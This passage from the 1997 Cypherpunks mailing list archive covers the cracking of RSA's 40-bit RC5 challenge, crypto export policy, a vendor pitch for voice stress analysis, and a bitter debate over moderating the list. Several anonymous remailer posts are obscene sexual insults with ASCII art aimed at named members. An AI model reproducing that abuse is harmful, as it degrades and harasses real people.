okay to post it. >From: Spectre334 at aol.com >Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST) >To: jimbell at pacifier.com >cc: BLAMES2778 at aol.com, AFSCA at aol.com, JLeek426 at aol.com >Subject: VOICE STRESS ANALYSIS > >MR. BELL: > >I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO, >HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW. > >I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL. IT >HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS. > NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN >CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS. > >AMONG ITS OTHER BENEFITS, VSA REQUIRES NO INTIMIDATING HOOKUP TO THE >SUBJECT'S BODY, IN ORDER TO MEASURE THE LEVEL OF STRESS. IT CAN BE CONDUCTED >VIRTUALLY ANYWHERE - EVEN WHERE NO ELECTRICITY IS PRESENT. PERHAPS MOST >PERTINENT TO YOUR QUESTION, VSA CAN BE SOMETIMES PERFORMED ON PEOPLE WHO ARE >NO LONGER AROUND, THROUGH THEIR RECORDED VOICES. THIS IS CALLED "NARRATIVE >ANALYSIS" AND IS SOMEWHAT TOUGHER THAN THE BASIC QUESTION - AND -ANSWER >APPROACH, SINCE THE EXAMINER CANNOT CONTROL THE CONTENT AND SEQUENCE OF >QUESTIONS, IF THE SOURCE IS A PAST RECORDING. > >THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY >DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT >AGENCIES IN DECEMBER, 1996. THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO >THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR >SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS. > >YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A >RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT >DATA ON A ROLL OF THERMAL PAPER. THOSE DAYS ARE GONE FOREVER. > >IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS, >PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND >FAX NUMBER. > >THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS. > >SINCERELY, > >TOM > >(THOMAS F. MCGRAW) > > Jim Bell jimbell at pacifier.com From vin at shore.net Sun Feb 2 22:26:06 1997 From: vin at shore.net (Vin McLellan) Date: Sun, 2 Feb 1997 22:26:06 -0800 (PST) Subject: "Strong" crypto and export rule changes. Message-ID: <199702030626.WAA14616@toad.com> Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors, almost all standard Unix college-lab workstations, as I understand it. (RC5 has a variable block size and a variable number of rounds; but the unknown plaintexts for this contest were enciphered using a declared 12-round RC5 with a 32-bit word size.) The message Ian revealed was something like: "That's why you need a longer key!!!!!" RSA posted rewards for anyone who can break a 56-bit DES challenge and/or any of 12 variable-length RC5 challenge messages. The 40-bit RC5 cipher was the least of these and was expected to fall quickly. The initial RSA announcement of the contest emphatically declared that even 56-bit-key crypto (DES or RC5) offers only "marginal protection" against a committed adversary -- which is not to in any way minimize Ian's accomplishment, or the efforts (some also successful!) of others who also tackled the 40-bit challenge. SDTI/RSA celebrated Ian's achievement enthusiastically at the RSA Security Conference in San Fran last week. Burt Kalisky, the Chief Scientist at RSA, preempted a main session at the Conference to do an on-stage telephone interview with Ian about his attack. SDTI (RSA) apparently hopes to use Ian's "timely" achievement to urge Congress to challenge the idiotic 40-bit EAR ceiling and the key-escrow contracts required to get a 56-bit export license. (The network Ian used to link his lab workstations, NOW at Berkeley, is definitely not standard, however. I think there is a description of it online; but briefly, NOW seems designed to very efficiently handle this sort of intensive distributed processing project. More important, perhaps, was the fact that Ian just chewed through the possible keys with a pure brute-force attack on the key space. His attack was not really optimized for RC5, or designed to attack any specific element in the RC5 crypto architecture.) Jim Bitzos of RSA also gave a thought-provoking thumbnail summary of the IBM Key Recovery Alliance (making a better case for it in 30 seconds than the long technical presentatations from IBM.) As Bitzos explained it, the variable key-size control allows a corporate user to communicate through encrypted links to a variety of international recipients -- dynamically adjusting the encryption mechanism to whatever varied restrictions are required by the French, German, US, UK, etc. , govenments. "It's an imperfect world," growled Bitzos -- but both users and vendors need workable mechanisms today to allow them to adapt to whatever contraints on strong encryption that are, or will be, required by the various national authorities. It's a mistake, he suggested, to think of the IBM Key Recovery Initiative soley in terms of US controls. Many governments are reacting with hostility to the availability of strong encryption -- and until the Market finds a voice and educates the political and spook cultures, commercial entities will inevitably have to adapt their work-a-day communications security to a wide variety of national crypto controls and key-length restrictions. (What I got about the IBM presentations was the realization that there is nothing in the key recovery mechanism, per se, that requires the recovery key to be held by a third party. That, to my mind, is the essential distinction between key escrow and key recovery. I also realized that IBM has, for years, quietly held a crucial piece of the PKC scheme in its patented "control vector" tech, which irrevocably binds a whole set of context-specific rules and constraints to a decryption key. I now realize that the control vector technology was the foundation much of the the DoD's Blacknet development. Important stuff -- check it out!) Like Big Jim said, it's an imperfect world -- and likely to become more so, from the C'punk perspective, before it becomes better. The rumor mill among the 2,500 cryptographers, mostly developers, who attended the RSA Conference was pumping overtime. One of the saddest and most persistent rumors was that the Clinton Administration would, within months, introduce a Congressional bill to make unescrowed strong encryption illegal in the US. (Personally, I'd put bitter money on that one. ) David Aaron, US Crypto Ambassador and the US permanent rep to the OECD -- in which role he has strove to convince the newly liberated nations of Eastern Europe that built-in wiretap links are essential design components for a modern democratic nation's communications infrastructure -- was charming and gracious... but it was no surprise that he didn't budge a bit from the "sovereign right to listen" policy line. You shouldn't have skipped the RSA bash, Adam, not even for your DCS gig in the sunny Caribbean. There were numerous Lion and the Lamb drinking bouts thoughout the week (some rather amazing, in terms of both the participants and the volume of "input".) You would have loved it. Passions often ran high, but usually in quiet intense coversations. I (one Lamb, white wool turning gray;-) had distinct impression that there many US government cryptographers uncomfortable with the Administration's NSA/FBI-inspired absolutist POV. Not even all senior feds feel that Constitutional Law should be (re)written by FBI case agents obsessed with making it easier to bust some two-bit crack dealer next month. (Doesn't mean much in the larger scheme of things, but the pained ambivalence vividly reminded me of Vietnam debates so many years ago.) My favorite quote, from a federal LEA lawyer deep in his cups: "If the colonial cops, rather than the philosophers, had drafted the Constitution -- would Madison and Jefferson, et al, have been willing to even put their names to it??" Suerte, _Vin -------- In Reply To: >Steve Schear wrote: >| > What the US government will allow to be exported is not "strong >| >encryption." It is encryption only slightly too strong to be broken >| >by an amateur effort. For the right investment in custom hardware, it >| >falls quickly. (500,000 $US = 3.5 hour avg break). >| > >| >| Considering Ian's feat you certainly seem to have had your crystal >| ball in hand. Adam Shostack responded: > I wear three around my neck. Its a new age thing. > > More seriously, that estimate is the cost of breaking DES on >custom hardware, based on Wiener's figures. Ian got RC4-40 in 3.5 >hours on I don't know how much hardware, not a lot of it custom, >AFAIK. Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 From sandfort at crl11.crl.com Sun Feb 2 22:26:08 1997 From: sandfort at crl11.crl.com (Sandy Sandfort) Date: Sun, 2 Feb 1997 22:26:08 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702030626.WAA14617@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, Where to begin? Tim May has taken the time to write broad and thought provoking essay on this list's current moderation experiment. I appreciate his analysis--and candor. While I do not agree with all he has written, I enormously respect his dedication to his point of view. On Sun, 2 Feb 1997, Timothy C. May wrote: > I chose not to write a "departing flame" (or message, but some might call > it a flame) when I unsubscribed several weeks ago--within an hour of > reading that John and Sandy had decided to make "their" list a moderated > list,... This is Tim's first error of fact. I point it out not to insult him, but because it seriously affects much of the rest of his analysis. We are conducting an experiment. It will last one month. After that, it's over if list members want it to be over. If, on the other hand, moderation is seen by the list members as beneficial to their use and enjoyment of the list, the current form of moderation--or some variation will continue. > ...and saw no point in wasting even more of my time arguing against the New > Cypherpunks World Order, as the NCWO was clearly presented as a fait > accompli, not something ablut which opinions of list members (or even list > _founders_, at least not me) were being sought. Factual error #2. There was a call for comment; Tim chose not to do so. In retrospect, I wish we had run it by Tim, Eric and Hugh in more detail before making the annoucement, but we didn't. Certainly a tactical error and a breach of protocol, but not the end of the world. Sorry Tim. I should have spoken to you first. > I see vast amounts of bandwidth consumed by arguments about > moderation, about the putative biases of the Moderator and Director of the > New Cypherpunks World Order, about alternative moderation strategies (which > is stupid, as John and Sandy announced what they were going to do, not just > some of their preliminary thoughts), and so on. I've also noticed fewer > substantive essays. And I see something different. Since previously, Tim actively filter the list, I'm not sure on what basis he can make his comparison. As just one example (though a signicant one) Dimitri has posted more non-flaming, on-topic posts during the two weeks of this experiment then in the previous several months. In my opinion, other than for the hysterical posts of a very few self-righteous loudmouths, the overall quality of the posts has been far superior to what it had become in the weeks before the experiment began. YMMV. > With no false modesty I tried awfully hard to compose substantive > essays on crypto-political topics, often more than one per day. I would hope that Tim will return to this practice irrespective of whether the list remains moderated or returns to its previous policies. More on this, below. > (Others did too, but they seem to be tapering off as well, leaving the list > to be dominated by something called a "Toto," the "O.J. was framed!" > ravings of Dale Thorn, the love letters between Vulis and someone name > Nurdane Oksas,... Two points: Since Tim largely agrees with those in opposition to moderation, and because of the extraordinary nature of Tim's post, I did not send it to the "flames" list. It was a judgment call. The problems Tim describes, did not arise with moderation. Indeed, they were the imputus for the moderation. > * But the really important issue is this: is the _physical hosting_ of the > Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list > was hosted by, say, UC Berkeley or PGP Incorporated, would we consider > these hosts to be the "owners" of the Cypherpunks group?... I think this is a Straw Man. John and I have never argued that John "owns" cypherpunks. When a Cypherpunk meeting is held in someone's living room, however, I don't think it's asking to much to ask everyone to follow the local rules (e.g., "no shoes in the house" or "no smoking" or even "no ad hominem attacks"). As Tim is fond of saying, "my house; my rules." I don't think this means Tim "owns" a physical meeting in his house. > While John had (and has) every legal right > to do with his property as he wished, the effect was very negative. First, > Vulis found other ways to post (duh). Tim, do you really believe that John did not anticipate this? > Second, the list was consumed with > flames about this, many from Vulis, and many from others. It was consumed with flames before. Now, at least, the vast majority of folks on the list don't have to read them, nor jump through any hoops to implement some sort of dynamic filtering half-measure. > Third, journalists (who love sizzle over substance any day of > the week) lept into the fray with articles which gave Vulis the > publicity he craved. That's what journalist do, though I wasn't aware of ANY articles on this issue. I would appreciate it if Tim could give us some citations. > Fourth, it sent a message to enemies of liberty that "Even the > Cypherpunks have found it necessary to abandon their anarchic > ways." That's one message that one could take from all this, I suppose. I don't see it that way, nor do several list members who thanked me in private e-mail for improving the list. Again, YMMV. > (I'm well aware of the issues with pests like Vulis, who seek to destroy > virtual communities like ours. But the solution John used did not work, and > generated more crap.... What didn't work was "local filtering" which has no feed-back loop to engender comity. This might not work either, but I see no evidence that it has made things worse. Remember, there are a hand-full of subscribers to the Flames list, 20-30 on the Unedited list and *2000* or so on the Moderated list. Sure some of that may be due to laziness, but it would be cavalier in the extreme to claim that such an overwhelming acceptance of moderation is merely an artifact of inertia. But to make things perfectly clear one more time, ANYONE WHO WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO "CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES." > * "Censorship" is another overloaded term. I don't think the "Definition 1" > of dictionary definitions, about _governmental_ restrictions, is the only > meaningful definition. Everybody knows what it meant when we say that > "Lockheed is censoring the views of employees," even though we know > Lockheed is not using government power. A censor is one who censors. And > even my "American Heritage Dictionary" gives this as its "definition 1": > > "censor n. 1. A person authorized to examine books, films, or other > material and to remove or suppress morally, politically, or otherwise > objectionable." Tim and I disagree on which definition of "censorship" applies in this situation. Dale Thorne, and others, have argued, in essence, that there is censorship if ANY definition would apply. I'm not sure time is going that far, but if so, I respectfully disagree. But let's apply Tim's above definition for the sake of argument. Am I, thereby, a censor? Well I am examining "other material" and I am making judgments with regard to whether or not it is "objectionable," unfortunately for Tim's argument, I am neither "removing" nor "supressing" anything. Anybody can read anything that gets posted to Cypherpunks--in two places. I am sorting, but even my sorting can be completely avoided. > * OK, even given that John had decided to censor "his" list, what about his > choice of Sandy Sandfort as the censor? John didn't choose me, I approached him. I offered my opinion as to what I thought HE ought to do about the list disruptions. The short version of his answer was, "if you think you can do a better job, go for it." I accepted the challenge, so here I am. I don't want this job. If the list members decide to keep the list moderated, I hope to keep my involvement as a moderator to a minimum. Any volunteers? > * Nor do the announced criteria make any sense. While the inane one-line > scatological insults have been filtered out, many "flames" make it through, > based on what I've seen in perusing the hks archive site. And some > reasonable comments get dumped in the flame bucket. Very possibly true. Moderation is like crypto, perfection isn't and option. However, a 90% solution is a heck of a lot better than no solution at all. Yes, I've made what I consider to be errors, but I think on some, I've done a very good job overall. > * (Frankly, one of my considerations in leaving was the feeling that I > would never know if an essay I'd spent hours composing would be rejected by > Sandy for whatever reasons.... Tim, I think this is disingenuous. I have been quite clear on my moderation criteria. You are too intelligent to feign such a lack of understanding. > maybe he might think my essay was off-topic, Clearly not a criterion I ever enunciated. > or used one of the Seven Deadly Words, Clearly not a criterion I ever enunciated. >or was "too flamish." Bingo (with the proviso that it be a personal attack on a list member as opposed to the substance of his or her argument). > * The decision to "moderate" (censor) the Cypherpunks list is powerful > ammunition to give to our opponents, Piffle. Letting spoiled children destroy the list puts a far more powerful weapon in the hands of our enemies. > and Vulis is certainly gleeful that > his fondest wishes have been realized. I do not have a crystal ball. My Vulcan mind meld is in the shop. No one--neither Tim, nor I, nor probably even Vulis--knows whether is gleeful about all this or not. An frankly, who cares? The question is, are list members happy or not with moderation. Tim was not. I am. By the end of the experiment, I dare say we will have a good idea what most list members think. > (I would venture a guess that a Duncan Frissell would almost certainly get a > libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to > get a leftist rant past him.) I sorry Tim gives me so little credit. Rather than merely post a self-serving denial, I would ask that Phill confirm or deny Tim's supposition. To the best of my recollection, I have sent only one post of Phill's to the Flames list. It flamed Jim Bell. As far as moderating political rants go, I'm agnostic. Look folks, when you stop trying new things, and stop questioning conventional wisdom, you are as good as dead. Maybe moderation is the best think since sliced bread; maybe it sucks. How about we give it a good-faith try for the next 2+ weeks and see how it goes? If the consensus is it sucks, I intend to be gracious in defeat. If it goes the other way, I hope that the neighsayers will accept it and let the list get on with its role as a forum for the protection of privacy. Thanks again, Tim, for sharing your views with us. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From sandfort at crl10.crl.com Sun Feb 2 22:40:42 1997 From: sandfort at crl10.crl.com (Sandy Sandfort) Date: Sun, 2 Feb 1997 22:40:42 -0800 (PST) Subject: "Secret" Postal Device stolen Message-ID: <199702030640.WAA15028@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Sun, 2 Feb 1997, Roy M. Silvernail wrote: > In Minneapolis and Anchorage (the two cities of which I have knowledge) > mail carriers have a key that opens not only apartment-style mailboxes, > but little boxes on the outside of apartment buildings that hold a key > to the building's lobby. Snag one of those keys and a large portion of > the city opens its doors to you. (some buildings have further locked > doors beyond the mailbox lobby to counter this threat) So much for key escrow. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From mpd at netcom.com Sun Feb 2 22:47:22 1997 From: mpd at netcom.com (Mike Duvos) Date: Sun, 2 Feb 1997 22:47:22 -0800 (PST) Subject: Gilmore's Moderated Cypherpunks List In-Reply-To: <199702030325.TAA09985@toad.com> Message-ID: <199702030647.WAA09811@netcom9.netcom.com> Our Former Titular Leader Bails and Expounds Thusly Over the Smoking Remains of the Once Mighty Cypherpunks List: > First, I don't argue that John Gilmore is unfree to do as > he wishes with his machine, toad, which has been the major > machine host for the Cypherpunks list. John can tell us we > have to write in Pig Latin if he wishes. Freedom of the Press belongs to those who own one. Since there are no legal restrictions on the name "Cypherpunks", anyone with a working box can host a "Cypherpunks List", and individuals may choose to spend their reputation capital improving the S/N ratio of whatever Cypherpunks Lists they favor. In this sense, a "Cypherpunks List" is like a "Webster's Dictionary." Anyone can use the name, and the deluxe leather bound edition put out by a University is better than the tacky newsprint one offered as a premium by your local book club. Gilmore's Moderated Cypherpunks List is one of many forums where Cypherpunks may choose to congregate, some of which carry the name "Cypherpunks," and some of which do not. > I think we should all be very grateful to John for agreeing > to let it run on his hardware, but not let our gratitude > turn into some sort of subservience and blather about how > John "owns" the Cypherpunks group. I think we should have nipped Gilmore in the bud when he censored Vulis, and immediately looked for a new site to host a Cypherpunks list which was not subject to sudden and arbitrary censorship by the site owner. John, of course, would have been perfectly free to continue to host "Gilmore's Moderated Cypherpunks List", and we would have perfectly free not to post there any more. Instead, being comfortable and lazy, we tolerated Gilmore's pathetic attempts to exterminate the pesky Vulis, and given that Vulis was more than a match for Gilmore mentally, the pissing contest soon escalated as the frantic Gilmore took more and more extreme measures to find "the final solution" to the good Doctor's posts. Again, predictable behavior by everyone involved. > Again, is the "Cyherpunks community" the same as the mailing > list? And is the mailing list, hosted at toad, the "property" of > John Gilmore? Of course not. What a silly notion. All mailing lists that survive more than a few months are organized around some strong personality who nudges the list back on-topic when it begins to stray, and who posts articles interesting enough that people will make regular visits to read them. If no one performs this function on a list, the list will die. I think most people will agree with me that Timothy C. May has been the person who performed this function here on Cypherpunks, from its creation until fairly recently. If he chooses not to perform this function on "Gilmore's Moderated Cypherpunks List", that is Mr. Gilmore's tough luck. Perhaps if Mr. Gilmore asks nicely, Dr. Vulis will volunteer. Then again, perhaps not. :) > I'll have more to say about my problems with how things > were handled. Frankly, it smacked of the same kind of fait > accompli decision John made with the unsubscribing of Vulis. > While John had (and has) every legal right to do with his > property as he wished, the effect was very negative. First, > Vulis found other ways to post (duh). Second, the list was > consumed with flames about this, many from Vulis, and many > from others. Third, journalists (who love sizzle over > substance any day of the week) lept into the fray with > articles which gave Vulis the publicity he craved. Fourth, > it sent a message to enemies of liberty that "Even the > Cypherpunks have found it necessary to abandon their > anarchic ways." I agree completely. Do real Cypherpunks want to post to a list run by someone who has undermined their agenda and made them look like hypocritical idiots to the world? Gilmore has done more damage to the good name of Crypto Anarchy in the last few weeks than the government spooks could ever have hoped for in their wildest dreams. > But by making the _main list_ the censored one, this skewed > things considerably. Yes, this was a sleezy and perfidious trick by Gilmore, who apparently wanted to transform "Cypherpunks" into "Gilmore's Moderated Cypherpunks List" by fiat. Even the unedited list was an afterthought to pacify critics, and you can be sure that it will evaporate as soon as he thinks no ones complaints will be heard. > Had there been a debate about the policy, I can think of > several approaches I'd like better. But inasmuch as John > made it clear that there would be no debate (and, perhaps as > part of the "problem," John has not really been a active > member of the mailing list, in terms of participating in the > debates), this is all moot. > In any case, my several years with the list have taken a > huge amount of my time. Given the way this whole thing was > handled, and the way the list is degenerating even further, > it looks like it's good that I'm moving on to other things. Hey - if John Gilmore can attract readers to "Gilmore's Moderated Cypherpunks List" by virtue of his charming personality, more power to him. Really. :) -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From haystack at holy.cow.net Sun Feb 2 22:56:18 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Sun, 2 Feb 1997 22:56:18 -0800 (PST) Subject: No Subject Message-ID: <199702030637.BAA04034@holy.cow.net> Timmy May has been a source of endless embarassments to his sympathizers on and off the net. o/ Timmy May <| / > From winsock at rigel.cyberpass.net Sun Feb 2 23:07:34 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Sun, 2 Feb 1997 23:07:34 -0800 (PST) Subject: Man in the Middle Message-ID: <199702030707.XAA03474@sirius.infonex.com> Derisve Vibrator K[retin]OfTheMonth had his foreskin ripped off last night by a vacuum cleaner. .-._ {_}^ )o {\________//~` ( ) Derisve Vibrator K[retin]OfTheMonth /||~~~~~||\ |_\\_ \\_\_ "' ""' ""'"' From lwjohnson at grill.sk.ca Sun Feb 2 23:07:54 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Sun, 2 Feb 1997 23:07:54 -0800 (PST) Subject: About: My Departure, Moderation, and "Ownership of the List" Message-ID: <32F5AB1A.1B49@grill.sk.ca> For what it's worth, I think that this Tim May, not being a user of the list, has no place to talk. His type, to me, characterate those who quit something and complain later, knowing that some people will listen to them. So what, if he decided to leave? It was his own choice and he can't just come back and say everyone who stayed is now impelled to listen to him, just because he used to do a bunch of posts. I don't think that hardly any of you would listened to me later if I left the list. From nobody at zifi.genetics.utah.edu Sun Feb 2 23:29:46 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Sun, 2 Feb 1997 23:29:46 -0800 (PST) Subject: None Message-ID: <199702030729.AAA00107@zifi.genetics.utah.edu> Dimitri Vinyl K{rust}OfTheMonth will fuck anything that moves, but he'd rather be fucking his own mother's dead body. v-v-v-@@-v-v-v (..) Dimitri Vinyl K{rust}OfTheMonth From nobody at zifi.genetics.utah.edu Mon Feb 3 00:19:41 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Mon, 3 Feb 1997 00:19:41 -0800 (PST) Subject: None Message-ID: <199702030819.BAA00723@zifi.genetics.utah.edu> Dimitri Vinyl K{rust}OfTheMonth will fuck anything that moves, but he'd rather be fucking his own mother's dead body. v-v-v-@@-v-v-v (..) Dimitri Vinyl K{rust}OfTheMonth From tcmay at got.net Mon Feb 3 00:32:36 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 3 Feb 1997 00:32:36 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: Message-ID: Unfortunately, Sandy responded to my post with his own flames ("piffle," "disingenous," "straw man," etc.). Now he may well think his points are not flames becuase they are "true," but to me they take the form of flames. But then I have long disliked Sandy's method of argument. Nothing personal. But I find Sandy's series of dismissals--in other posts from other people, not just this one--to be "flamish." As Sandy says, your mileage may vary. As Sandy did a too-common section-by-section disssection, I'll do the same for his comments. At 9:55 PM -0800 2/2/97, Sandy Sandfort wrote: >> I chose not to write a "departing flame" (or message, but some might call >> it a flame) when I unsubscribed several weeks ago--within an hour of >> reading that John and Sandy had decided to make "their" list a moderated >> list,... > >This is Tim's first error of fact. I point it out not to insult >him, but because it seriously affects much of the rest of his How can this be an "error of fact" when I am clearly setting out a point of view? Is it an error of fact that moderation was happening? Or is the disagreement with my quotes around "their"? This was clearly an expression of sarcasm. Hardly an "error of fact." >> ...and saw no point in wasting even more of my time arguing against the New >> Cypherpunks World Order, as the NCWO was clearly presented as a fait >> accompli, not something ablut which opinions of list members (or even list >> _founders_, at least not me) were being sought. > >Factual error #2. There was a call for comment; Tim chose not to >do so. In retrospect, I wish we had run it by Tim, Eric and John's message did not say he was thinking about instituting censorship, it said he was in the process of setting up such a system. As for the comments solicited, I noticed no changes whatsoever. (I guess the several dozen comments were "errors of fact," "piffle," and "straw men." Can anyone think of a single one of the various points made after John's announcement that changed the plan in any significant way?) >> I see vast amounts of bandwidth consumed by arguments about >> moderation, about the putative biases of the Moderator and Director of the >> New Cypherpunks World Order, about alternative moderation strategies (which >> is stupid, as John and Sandy announced what they were going to do, not just >> some of their preliminary thoughts), and so on. I've also noticed fewer >> substantive essays. > >And I see something different. Since previously, Tim actively >filter the list, I'm not sure on what basis he can make his >comparison. As just one example (though a signicant one) Dimitri That's an easy one, one I explained at least two or three times in the last half year: I used Eudora Pro to sort mail into various folders. I'm quite aware of what is going into various folders, and sometimes I even look in them. Clear enough? >has posted more non-flaming, on-topic posts during the two weeks >of this experiment then in the previous several months. In my >opinion, other than for the hysterical posts of a very few >self-righteous loudmouths, the overall quality of the posts has >been far superior to what it had become in the weeks before the >experiment began. YMMV. Piffle. Nonsense. If you think the overall quality of posts is superior now to what it had been, your bias in favor of your own brain child is so powerful that it's warped your judgment. Who else thinks the quality is now higher? (By the way, I don't think the proper statistical method is to "average" all of the posts, including the Vulisgrams and the scatolological insults, as these were easily filtered by anyone with a clue. Rather, look at the substantive and stimulating essays, the important ones, and ask if they have gotten better. It's disingenuous to claim that filtering out the childish insults has improved the quality of the essays. As I said, I've seen the opposite. You apparently think differently.) >> (Others did too, but they seem to be tapering off as well, leaving the list >> to be dominated by something called a "Toto," the "O.J. was framed!" >> ravings of Dale Thorn, the love letters between Vulis and someone name >> Nurdane Oksas,... > >Two points: Since Tim largely agrees with those in opposition to >moderation, and because of the extraordinary nature of Tim's post, >I did not send it to the "flames" list. It was a judgment call. Here Sandy is really going over the line. He is saying he _almost_ filtered my message into the reject pile, where later he claims I would have no problem writing an essay and not knowing whether it would be filtered into the Good or the Bad pile. He later writes, in response to my point: "(Frankly, one of my considerations in leaving was the feeling that I >> would never know if an essay I'd spent hours composing would be rejected by >> Sandy for whatever reasons.... > >Tim, I think this is disingenuous. I have been quite clear on >my moderation criteria. You are too intelligent to feign such >a lack of understanding." So, given that I wrote my essay today, should I have known if it would be filtered into Sandy's "Not Fit for True Cypherpunks" list, or the Approved list? Sandy implies that he himself had to make a "judment call" on this one. Hey, people, this shows how fucked up things have gotten. Lord Almighty Sandy says my long-considered, well-written essay was _almost_ shitcanned ("It was a judgment call"). And for what reason? Apparently because of a single paragraph that mentioned "Toto" and Dale Thorn (oh, and Nurdane and Vulis and their love relationship) in unflattering terms. Is this the crap the Cypherpunks were founded to put up with? A petty satrap deciding to filter out a long and substantive essay because he feels some paragraph is insulting? What a state of affairs. This more than anything demonstrates the truth of Lord Acton's maxim about absolute power corrupting absolutely. Sandy feels free to flame away (piffle, straw man, logical fallacy), but expresses umbrage at my very accurate comments about ravings and rantings of certain list memmbers. (Perhaps Sandy will censor this message, feeling you readers are not able to handle my dismissal of his asinine views. This will leave the Censor having the final word, which is "not unexpected." When a censor gets into a debate with one of his charges, this is what often happens.) >> * But the really important issue is this: is the _physical hosting_ of the >> Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list >> was hosted by, say, UC Berkeley or PGP Incorporated, would we consider >> these hosts to be the "owners" of the Cypherpunks group?... > >I think this is a Straw Man. John and I have never argued that >John "owns" cypherpunks. When a Cypherpunk meeting is held in >someone's living room, however, I don't think it's asking to much >to ask everyone to follow the local rules (e.g., "no shoes in the >house" or "no smoking" or even "no ad hominem attacks"). As Tim >is fond of saying, "my house; my rules." I don't think this >means Tim "owns" a physical meeting in his house. This is precisely the point I made! As for John instituting a censorhip policy, as I said, he is of course free to do it. It may be foolish to do so, but he is free to do so. And those of us who don't like what this all means are free to leave. Sounds fair to me. >> While John had (and has) every legal right >> to do with his property as he wished, the effect was very negative. First, >> Vulis found other ways to post (duh). > >Tim, do you really believe that John did not anticipate this? I have no idea what John anticipated and didn't. But if he knew it wouldn't work, why bother? Not only did Vulis actually start posting _more_, it also consumed the list in a frenzy of posts about it. (By the way, remember that we are here talking about the unsubscription of Vulis by John. My reason for this reminder will be clear in a moment.) >> Second, the list was consumed with >> flames about this, many from Vulis, and many from others. > >It was consumed with flames before. Now, at least, the vast >majority of folks on the list don't have to read them, nor jump >through any hoops to implement some sort of dynamic filtering >half-measure. We're talking about Vulis being unsubscribed, not the list censorship episode. >> Third, journalists (who love sizzle over substance any day of >> the week) lept into the fray with articles which gave Vulis the >> publicity he craved. > >That's what journalist do, though I wasn't aware of ANY articles >on this issue. I would appreciate it if Tim could give us some >citations. Again, we're talking about the Vulis unsubscription episode. Go back to the archives covering this period. Declan McCullough wrote an article about this, giving Vulis much publicity. And some of us were contacted by other journalists asking for our views, for what this meant about for the list's espoused philosophy about anarchy, etc. (I refused to comment, of course.) >> Fourth, it sent a message to enemies of liberty that "Even the >> Cypherpunks have found it necessary to abandon their anarchic >> ways." > >That's one message that one could take from all this, I suppose. >I don't see it that way, nor do several list members who thanked >me in private e-mail for improving the list. Again, YMMV. Once again, the subject of the section you're citing was about the Vulis unsubscription matter. I think, Sandy, you need to read more carefully before you denounce arguments. >> (I'm well aware of the issues with pests like Vulis, who seek to destroy >> virtual communities like ours. But the solution John used did not work, and >> generated more crap.... > >What didn't work was "local filtering" which has no feed-back >loop to engender comity. This might not work either, but I see >no evidence that it has made things worse. Remember, there are a If you see no evidence that is has made things worse, then apparently you haven't seen that I have not been posting for the past month. Whatever my reasons, if you can seriously claim that you can see "no evidence" that a change of some sort has occurred... >hand-full of subscribers to the Flames list, 20-30 on the >Unedited list and *2000* or so on the Moderated list. Sure some >of that may be due to laziness, but it would be cavalier in the >extreme to claim that such an overwhelming acceptance of >moderation is merely an artifact of inertia. I still maintain, as others have as well, that a better approach would have been to announce the "Sandy-approved" list as a new option. Changing the main list to the censored version was a way to exploit the name of the list, etc. (Consider if Eric Blossom's filtered list was suddenly declared to be the "Cypherpunks" list. This is essentially what has happened. A major screw up. And I don't really think it germane to cite how many are on each list. Sheep are sheep, and, frankly, about 1850 of those putative "*2000*" on the main list are never, ever heard from.) .... >Tim and I disagree on which definition of "censorship" applies in >this situation. Dale Thorne, and others, have argued, in essence, >that there is censorship if ANY definition would apply. I'm not >sure time is going that far, but if so, I respectfully disagree. > >But let's apply Tim's above definition for the sake of argument. >Am I, 